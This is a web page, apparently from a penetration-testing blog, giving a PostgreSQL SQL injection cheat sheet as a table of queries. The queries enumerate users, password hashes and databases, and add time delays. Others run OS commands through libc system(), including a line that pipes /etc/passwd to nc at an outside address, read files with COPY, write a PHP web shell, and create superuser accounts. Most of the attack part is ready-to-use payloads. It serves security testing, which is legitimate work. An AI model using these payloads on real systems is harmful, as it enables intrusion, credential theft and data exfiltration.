Categories

- Blog (78)
- Cheat Sheets (10)
  - Shells (1)
  - SQL Injection (7)
- Contact (2)
- Site News (3)
- Tools (17)
  - Audit (3)
  - Misc (7)
  - User Enumeration (4)
  - Web Shells (3)
- Uncategorized (3)
- Yaptest (15)
  - Front End (1)
  - Installing (2)
  - Overview (2)
  - Using (8)

RSS Feed

Postgres SQL Injection Cheat Sheet

Some useful syntax reminders for SQL Injection into PostgreSQL databases…

This post is part of a series of SQL Injection Cheat Sheets. In this series, I've endevoured to tabulate the data to make it easier to read and to use the same table for for each database backend. This helps to highlight any features which are lacking for each database, and enumeration techniques that don't apply and also areas that I haven't got round to researching yet.

The complete list of SQL Injection Cheat Sheets I'm working is:

- Oracle
- MSSQL
- MySQL
- PostgreSQL
- Ingres
- DB2
- Informix

I'm not planning to write one for MS Access, but there's a great MS Access Cheat Sheet here.

Some of the queries in the table below can only be run by an admin. These are marked with "– priv" at the end of the query.

Version	SELECT version()

Comments	SELECT 1; –comment
	SELECT /*comment*/1;

Current User	SELECT user;
	SELECT current_user;
	SELECT session_user;

	SELECT usename FROM pg_user;
	SELECT getpgusername();

List Users	SELECT usename FROM pg_user
List Password Hashes	SELECT usename, passwd FROM pg_shadow — priv
Password Cracker	MDCrack can crack PostgreSQL's MD5-based passwords.
List Privileges	SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user
List DBA Accounts	SELECT usename FROM pg_user WHERE usesuper IS TRUE
Current Database	SELECT current_database()
List Databases	SELECT datname FROM pg_database
List Columns	SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public')
List Tables	SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN ('r',") AND n.nspname NOT IN ('pg_catalog', 'pg_toast') AND pg_catalog.pg_table_is_visible(c.oid)
Find Tables From Column Name	If you want to list all the table names that contain a column LIKE '%password%':SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind='r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE 'public') AND attname LIKE '%password%';

Select Nth Row	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0
	SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1;

Select Nth Char	SELECT substr('abcd', 3, 1); — returns c

Bitwise AND	SELECT 6 & 2; — returns 2
	SELECT 6 & 1; –returns 0

ASCII Value -> Char	SELECT chr(65);
Char -> ASCII Value	SELECT ascii('A');

Casting	SELECT CAST(1 as varchar);
	SELECT CAST('1′ as int);

String Concatenation	SELECT 'A' || 'B'; — returnsAB
If Statement	IF statements only seem valid inside functions, so aren't much use for SQL injection. See CASE statement instead.
Case Statement	SELECT CASE WHEN (1=1) THEN 'A' ELSE 'B' END; — returns A
Avoiding Quotes	SELECT CHR(65)||CHR(66); — returns AB
Time Delay	SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6′, 'sleep' language 'C' STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here .
Make DNS Requests	Generally not possible in postgres. However if contrib/dblinkis installed (it isn't by default) it can be used to resolve hostnames (assuming you have DBA rights): `SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);` Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. "ping pentestmonkey.net".
Command	CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6′,

Execution	'system' LANGUAGE 'C' STRICT; — privSELECT system('cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user
Local File Access	CREATE TABLE mydata(t text); COPY mydata FROM '/etc/passwd'; — priv, can read files which are readable by postgres OS-level user …' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file: CREATE TABLE mytable (mycol text); INSERT INTO mytable(mycol) VALUES ('<? pasthru($_GET[cmd]); ?>'); COPY mytable (mycol) TO '/tmp/test.php'; –priv, write files as postgres OS-level user. Generally you won't be able to write to the web root, but it's always work a try. – priv user can also read/write files by mapping libc functions
Hostname, IP Address	SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection)
Create Users	CREATE USER test1 PASSWORD 'pass1′; — priv CREATE USER test1 PASSWORD 'pass1′ CREATEUSER; — priv, grant some privs at the same time
Drop Users	DROP USER test1; — priv
Make User DBA	ALTER USER test1 CREATEUSER CREATEDB; — priv

Location of DB files	SELECT current_setting('data_directory'); — priv
	SELECT current_setting('hba_file'); — priv

Default/System Databases	template0 template1

Tags: cheatsheet, database, pentest, postgresql, sqlinjection

Posted in SQL Injection